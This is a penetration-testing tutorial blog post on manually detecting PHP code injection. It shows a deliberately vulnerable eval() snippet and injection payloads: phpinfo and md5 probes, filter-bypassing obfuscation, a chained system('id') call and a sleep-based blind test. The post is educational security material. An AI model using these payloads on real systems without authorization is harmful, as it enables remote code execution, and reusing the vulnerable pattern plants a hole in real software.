Learn Pentesting: Manual Testing for PHP Code Injection

This article is part of our “Learn Pentesting” series—a collection of in-depth technical articles for penetration testers and those working to become one. Today, we dive into one of the more dangerous vulnerabilities in PHP-based web applications: PHP code injection. In this post, we explore how to manually test for PHP code injection during web-application penetration tests, discuss common vulnerable coding patterns, and provide code examples and payloads that you can use as a reference during your assessments.


Overview

PHP code injection occurs when user-supplied input is unsafely passed to functions that execute code dynamically. This typically happens with functions such as eval() or assert() when they are used without proper input validation or sanitization. An attacker who successfully exploits such vulnerabilities can inject and execute arbitrary PHP code, leading to severe security breaches—including remote code execution.

In this article, we will cover:


Understanding PHP Code Injection

What Is PHP Code Injection?

PHP code injection is a vulnerability that allows an attacker to insert and execute PHP code within an application. This vulnerability most commonly arises from unsafe use of PHP functions that execute strings as code. For example:

Consider the following vulnerable code snippet:

<?php
    // Vulnerable to PHP code injection
    $code = $_GET['cmd'];
    eval($code);
?>

If this code is deployed in a web application, an attacker could send a request like:

http://example.com/vulnerable.php?cmd=phpinfo();

This request would execute phpinfo(), revealing sensitive configuration details about the server.

Why Is It Dangerous?

If an attacker can inject PHP code, they could:

Because the consequences can be severe, manual testing for PHP code injection is critical during a penetration test.


Manual Testing Process

1. Identifying Injection Points

Start by mapping the application and identifying all inputs where user-supplied data might be incorporated into dynamic PHP code. Common injection points include:

A careful review of error messages, unexpected outputs, or PHP warnings can reveal hints of dynamic code execution.

2. Crafting Initial Test Payloads

Begin your testing with benign payloads that help determine if user input is reaching a code execution function.

Basic Test Payload

A simple test payload is to call a harmless function such as phpinfo();:

http://example.com/vulnerable.php?cmd=phpinfo();

If the page returns PHP configuration details, this confirms the vulnerability.

Payload with Side Effects

In cases where direct output isn’t visible, try payloads that cause observable side effects. For example:

;echo(md5("test"));

Appending this payload should output the MD5 hash of “test” (which is 098f6bcd4621d373cade4e832627b4f6):

http://example.com/vulnerable.php?cmd=;echo(md5("test"));

The appearance of the hash in the response confirms that the injected code is being executed.

3. Evaluating Responses

Analyze the HTTP responses for clues that indicate code execution:

4. Advanced Payload Crafting

When basic tests are filtered or do not provide direct output, you may need to use more sophisticated payloads.

Obfuscation Techniques

If the application filters specific keywords, try constructing the function name dynamically:

; $f = 'ph'.'pinfo'; $f();

This approach bypasses simple string-based filters.

Chained Commands

You might want to execute multiple commands in one payload:

; system('id'); echo(md5("check"));

This payload attempts to run the id command on the system and then echoes the MD5 hash of “check” to confirm execution.

Handling Input Contexts

Depending on how the vulnerable input is used, you might need to adjust your payload:

5. Verifying Code Execution

After injecting your payload, verify execution by:


Practical Example: Step-by-Step Testing

Let’s walk through a practical example. Suppose you are testing a parameter cmd in a web application.

Step 1: Basic Test

Access the following URL:

http://example.com/vulnerable.php?cmd=phpinfo();

If PHP configuration details are displayed, you have confirmed that the input is being evaluated as PHP code.

Step 2: Confirm with a Side-Effect Payload

If the output isn’t immediately obvious, try:

http://example.com/vulnerable.php?cmd=;echo(md5("test"));

Look for the MD5 hash 098f6bcd4621d373cade4e832627b4f6 in the response.

Step 3: Obfuscated Injection

If your initial payloads are being filtered, use an obfuscated version:

http://example.com/vulnerable.php?cmd=;${"GLOBALS"}["f"]="ph"."pinfo";${"GLOBALS"}["f"]();

This payload constructs the phpinfo() function name dynamically, bypassing simple keyword filters.

Step 4: Blind Injection Testing

When you suspect the injection is occurring but no output is visible, try a time-delay payload:

http://example.com/vulnerable.php?cmd=;sleep(5);

If the page takes noticeably longer (about 5 seconds) to load, it indicates that the payload was executed.


Best Practices for Manual Testing


Mitigation Techniques

Once vulnerabilities are identified, remediation is crucial. Here are some mitigation strategies:


Conclusion

PHP code injection remains one of the most dangerous vulnerabilities in web applications. Through careful manual testing—starting with simple payloads, analyzing responses, and using advanced techniques when necessary—penetration testers can effectively identify and verify these vulnerabilities.

This deep dive has provided a step-by-step guide on testing for PHP code injection, complete with code examples and payloads. As you integrate these techniques into your testing methodology, remember to always obtain proper authorization before testing any system.

Stay tuned for more technical insights in our “Learn Pentesting” series. Happy testing!

Ready to see how Numorian can help your business?

Contact us today to learn more about our services and how we can support your business.